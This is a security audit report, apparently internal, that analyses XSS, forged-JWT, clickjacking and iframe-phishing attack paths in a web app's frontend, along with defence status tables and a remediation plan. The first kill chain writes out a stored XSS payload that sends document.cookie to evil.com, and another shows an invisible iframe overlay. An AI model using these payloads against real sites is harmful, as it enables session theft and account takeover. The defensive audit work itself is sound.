Skip to content

UI Component Library — Red Team vs Blue Team Security Analysis

Generated: 2026-02-25 Scope: Frontend component library attack surfaces + defense inventory Method: Adversarial attack-defend analysis (BMAD Advanced Elicitation)


Executive Summary

The Red Team identified 1 Critical, 3 Medium, 2 Low direct vulnerabilities in the component library. The Blue Team revealed 4 Critical, 5 High systemic defense gaps. Combined, they produce 5 exploitable kill chains, with the most severe enabling full account takeover via stored XSS on publicly-accessible pages.

Total P0 fix effort: ~1.25 hours to close the 2 most critical vulnerabilities.


Kill Chains

KC1: GenericPage Stored XSS → Full Account Takeover

Severity: CRITICAL (CVSS ~9.1) | Affects: ALL public visitors + ALL admins

Attacker (page.create perm)
  → POST /generic-pages { description: "<img src=x onerror=\"fetch('https://evil.com?c='+document.cookie)\">" }
  → Backend: GenericPageService stores RAW HTML (ZERO sanitization — unlike Blog which uses SanitizerFactory)
  → Visitor navigates to /{slug}
  → dynamic-page.jsx: dangerouslySetInnerHTML={{ __html: data?.description }}
  → Script executes, steals JWT from non-httpOnly cookie
  → No CSP blocks the exfiltration fetch
  → Attacker has full account takeover

Red Team proof: GenericPageService.createPage() confirmed to have NO sanitizer call. The description field flows DB → API → dangerouslySetInnerHTML with zero transformation. The admin listing page (pages-page.jsx:503) also renders descriptions unsanitized.

Blue Team confirmation: No CSP headers exist. No DOMPurify installed on frontend. JWT cookie is not httpOnly (document.cookie readable).

Fix (45 min): Add SanitizerFactory("dompurify").sanitize(payload.description) to GenericPageService.createPage() and updatePage() in generic-page.service.ts.


KC2: Social Login Token Forgery

Severity: HIGH | Affects: Any user using Google OAuth

Attacker crafts fake JWT with admin claims
  → Sends victim link: /login?token=<forged-jwt>&user=<fake-user-json>
  → login.jsx:276: jwtDecode(token) — decodes WITHOUT signature verification
  → login.jsx:297: setCookie("token", token) — stores forged token
  → Victim is "authenticated" with attacker-controlled claims
  → Redux state populated with fake user data

Red Team proof: jwt-decode library explicitly states it "does NOT verify signatures." The social login callback trusts any JWT from URL query parameters.

Blue Team confirmation: No server-side token verification in the frontend social login callback path. Token passed as URL parameter leaks via Referrer headers, browser history, and server logs.

Fix (2 hrs): Remove client-side JWT handling from social login. Backend should validate OAuth callback and set httpOnly cookie directly via Set-Cookie header.


KC3: Clickjacking — Admin Actions

Severity: HIGH | Affects: Admin users

Attacker creates page: <iframe src="https://target-app.com/dashboard/users" style="opacity:0">
  → No X-Frame-Options header → app can be framed
  → Overlay fake UI on top of invisible iframe
  → User clicks "Delete All Users" thinking they're clicking attacker's button

Blue Team finding: Zero security headers. No X-Frame-Options, no frame-ancestors CSP directive.

Fix (15 min): Add X-Frame-Options: DENY and Content-Security-Policy: frame-ancestors 'none' to next.config.mjs headers.


KC4: Blog Preview XSS → Admin Credential Theft

Severity: MEDIUM | Affects: Admin users reviewing blog drafts

Attacker with blog.create perm
  → Creates blog with manipulated BlockNote content containing <script>
  → Admin opens blog for review → clicks "Preview"
  → blogs-form.jsx passes watchedContent (raw, pre-sanitization) to BlogPageFrontend
  → blog-page-frontend.jsx: dangerouslySetInnerHTML={{ __html: blog.content }}
  → Script executes in admin's browser session

Red Team proof: Blog preview uses watchedContent (raw editor HTML), NOT the sanitized backend content. Backend sanitizer only runs on save. Preview runs before save.

Fix (30 min): Install isomorphic-dompurify. Sanitize content client-side before passing to preview modal.


KC5: IframeEmbed Phishing in Editor

Severity: MEDIUM | Affects: Editor users

Attacker with blog.create perm
  → Embeds iframe: https://evil.com/fake-session-expired
  → No URL allowlist, no sandbox attribute
  → Another editor opens the draft → sees fake "Session Expired" login form inside iframe
  → Enters credentials → sent to attacker
  → Public readers NOT affected (backend strips <iframe> tags)

Red Team proof: getEmbedUrl() returns any unrecognized URL unchanged. No sandbox attribute on any iframe (zero grep matches across entire codebase). Public path is safe because backend sanitizer strips <iframe> tags.

Fix (30 min): Add URL allowlist (YouTube, Vimeo, Dailymotion only) + sandbox="allow-scripts allow-same-origin" to all iframes.


Blue Team: Defense Gap Matrix

Defense Category Status Severity of Gap
CSP Headers DONE — static CSP in next.config.mjs. unsafe-eval removed from script-src. unsafe-inline kept (nonce-based CSP incompatible with Next.js 15.3 static rendering — DOMPurify is primary XSS defense). connect-src includes Cloudinary. img-src includes Google profile images CRITICAL RESOLVED
All Security Headers (X-Frame-Options, HSTS, nosniff, Referrer-Policy, Permissions-Policy) VERIFIED DONE — frontend next.config.mjs + backend Helmet. HSTS includes preload, Permissions-Policy disables camera/mic/geo CRITICAL RESOLVED
Input Sanitization (frontend) VERIFIED DONE — all 9 original sites now use SanitizedHTMLPreview (DOMPurify strict allowlist) or are safe JSON-LD. ESLint react/no-danger: warn enforced CRITICAL RESOLVED
GenericPage backend sanitization OPEN — only module with no sanitizer call CRITICAL — enables KC1
httpOnly Cookie PARTIAL — backend auth.utils.ts sets httpOnly, but frontend still creates duplicate non-httpOnly cookies via setCookie() in login.jsx and auth/index.js — frontend cookie code should be removed HIGH
Token in URL (social login) OPEN — JWT as query param + jwt-decode doesn't verify signatures HIGH — enables KC2
Token in Redux state DONEtoken removed from authSlice.js state; only user + isAuthenticated stored. Token read from cookie only in axios interceptor MEDIUM RESOLVED
Iframe sandbox VERIFIED DONEsandbox="allow-scripts allow-same-origin" on embeds, sandbox="allow-same-origin" on HTML preview HIGH RESOLVED
Iframe URL allowlist VERIFIED DONE — YouTube, Vimeo, Dailymotion only; non-whitelisted URLs return null HIGH RESOLVED
X-Frame-Options VERIFIED DONEDENY on frontend + frame-ancestors 'none' in CSP (defense-in-depth) HIGH RESOLVED
Permission enforcement DONE — backend hasPermission + permissionMiddleware on routes HIGH RESOLVED
Image domain allowlist DONE**.cloudinary.com wildcard removed; scoped to res.cloudinary.com, images.unsplash.com, lh3.googleusercontent.com (Google OAuth avatars) MEDIUM RESOLVED
CSRF Protection PARTIAL — sameSite: strict mitigates; no CSRF tokens MEDIUM
target="_blank" rel VERIFIED DONE — all links have rel="noopener noreferrer" including footer-credit, LinkBlock, page-form LOW RESOLVED
Axios interceptor VERIFIED DONE — proper null check + parentheses, correct 401/403 handling HIGH RESOLVED
Token leak to 3rd party VERIFIED DONEcreateEditor.jsx no longer exists; no external token transmission found HIGH RESOLVED

dangerouslySetInnerHTML Inventory — VERIFIED 2026-04-07

Original 9 sites reduced to 4 actual usages. All user-generated HTML now routes through SanitizedHTMLPreview (DOMPurify strict allowlist).

# File Input Source Public? Sanitized? Status
1 lib/utils.js:34 (formatText) Text split on <br> Via callers YESSanitizedHTMLPreview HIGH RESOLVED
2 ui/chart.jsx:64 Comment only — uses textContent instead No N/A LOW RESOLVED
3 pages/blogs/blog-page-frontend.jsx:90 blog.content from API YES YESSanitizedHTMLPreview CRITICAL RESOLVED
3b pages/blogs/blog-page-frontend-v2.jsx:143 blog.content from API YES YESSanitizedHTMLPreview CRITICAL RESOLVED
4 pages/dynamic-page/dynamic-page.jsx:19 data?.description from API YES YESSanitizedHTMLPreview CRITICAL RESOLVED
4b pages/dynamic-page/dynamic-page-v2.jsx:18 data?.description from API YES YESSanitizedHTMLPreview CRITICAL RESOLVED
5-7 pages/email-templates/email-preview.jsx:287,291,296 Template column content Admin only YESSanitizedHTMLPreview HIGH RESOLVED
8 common/structured-data.jsx:10 JSON-LD schema (app-generated, JSON.stringify only) Yes Not needed SAFE
9 pages/pages/pages-page.jsx:503 page.description from API Admin only YESSanitizedHTMLPreview HIGH RESOLVED
10 common/breadcrumb-v2.jsx:25 JSON-LD breadcrumb (app-generated, JSON.stringify only) Yes Not needed SAFE
ui/sanitized-html-preview.jsx:21 Sanitization wrapper itself YES — DOMPurify strict allowlist SAFE (by design)

Hardening Plan (Priority Order)

Priority Action Effort Kill Chains Fixed Status
P0 Add sanitizer to GenericPageService.createPage() and updatePage() 45 min KC1 OPEN
P0 Add security headers to next.config.mjs (CSP, X-Frame-Options, HSTS, nosniff, Referrer-Policy) 30 min KC1, KC3 DONE
P1 Move JWT to httpOnly cookie (backend Set-Cookie header) 4 hrs KC1, KC2, KC4 DONE
P1 Remove client-side JWT handling from social login callback 2 hrs KC2 OPEN
P1 Install isomorphic-dompurify, sanitize all 9 dangerouslySetInnerHTML sites 2 hrs KC1, KC4 DONE
P2 Add iframe URL allowlist + sandbox attribute 30 min KC5 DONE
P2 Sanitize blog preview content client-side before rendering 30 min KC4 DONE
P2 Fix axios interceptor operator precedence bug 5 min Reliability DONE
P2 Restrict images.remotePatterns to known domains (remove wildcard **) 15 min SSRF DONE**.cloudinary.com removed, scoped to res.cloudinary.com
P2 Harden CSP — remove unsafe-eval from script-src, tighten img-src/connect-src allowlists 30 min KC1, KC4 DONEunsafe-eval removed, domain allowlists tightened. Nonce-based CSP deferred (incompatible with Next.js 15.3 static rendering)
P2 Remove frontend cookie-setting code (setCookie in login.jsx, auth/index.js) 30 min KC1, KC2 OPEN
P2 Remove token from Redux state (authSlice.js) — store only user + isAuthenticated 30 min Defense-in-depth DONE — token removed from state, cookie-only token access
P3 Add focus trap to custom modal (focus-trap-react) 1 hr Accessibility DONEfocus-trap-react + Escape key + ARIA attrs
P3 Enforce backend permissions on all API endpoints Ongoing Amplifier DONE
P3 Add rel="noopener noreferrer" to footer-credit.jsx links 5 min Tabnapping DONE

Remaining open: 3 items (GenericPageService backend sanitizer, social login token flow, frontend cookie cleanup)


Verification Log

Last verified: 2026-04-07 by code audit (all frontend source files inspected)

Verification summary: Frontend sanitization work is comprehensive and follows industry best practices (DOMPurify strict allowlist, ESLint enforcement, sandboxed iframe preview). CSP hardened — unsafe-eval removed, domain allowlists tightened, connect-src and img-src scoped to specific hosts. Nonce-based CSP (unsafe-inline removal) deferred — Next.js 15.3 does not reliably inject nonces into framework inline scripts with static rendering; revisit when Next.js adds stable nonce support. Remaining gaps are primarily backend-dependent (GenericPage sanitizer, social login flow).


Additional Blue Team Findings

Authentication Token Security

Issue Detail Severity Status
Not httpOnly JWT accessible via document.cookie and getCookie("token") CRITICAL PARTIAL — backend sets httpOnly via auth.utils.ts, but frontend still creates duplicate non-httpOnly cookie via setCookie() in login.jsx and auth/index.js — remove frontend cookie code
Token in URL params Social login callback passes JWT as query parameter (/login?token=...) HIGH OPEN — KC2 still present
Token leak to 3rd party createEditor.jsx sends user?.data?.accessToken to external URL HIGH VERIFIED DONE — file no longer exists, no external token transmission
Token in Redux store Accessible via Redux DevTools in production MEDIUM DONEtoken removed from authSlice.js; only user + isAuthenticated in Redux
No token rotation useRefreshToken exists but never called automatically MEDIUM Acceptable — expiry-based logout
jwt-decode misuse Used to "validate" tokens — only decodes, does NOT verify signatures HIGH OPEN — still used in social login

Dependency Risks

Package Version Risk Status
@blocknote/core 0.35.0 HTML output rendered via dangerouslySetInnerHTML — any serialization bypass = stored XSS MITIGATED — SanitizedHTMLPreview
cookies-next 6.1.0 Enables non-httpOnly cookie patterns by design PARTIAL — httpOnly set server-side, but frontend still calls setCookie() creating non-httpOnly duplicates
jwt-decode 4.0.0 Does NOT verify signatures — misused in social login flow OPEN — KC2
images.remotePatterns ** wildcard Allows Next.js image optimization for ANY domain — SSRF surface DONE — scoped to Cloudinary + Unsplash

Generated by BMAD Advanced Elicitation — Red Team vs Blue Team method Applied to: UI Component Library Deep-Dive (docs/deep-dive-ui-component-library.md) Date: 2026-02-25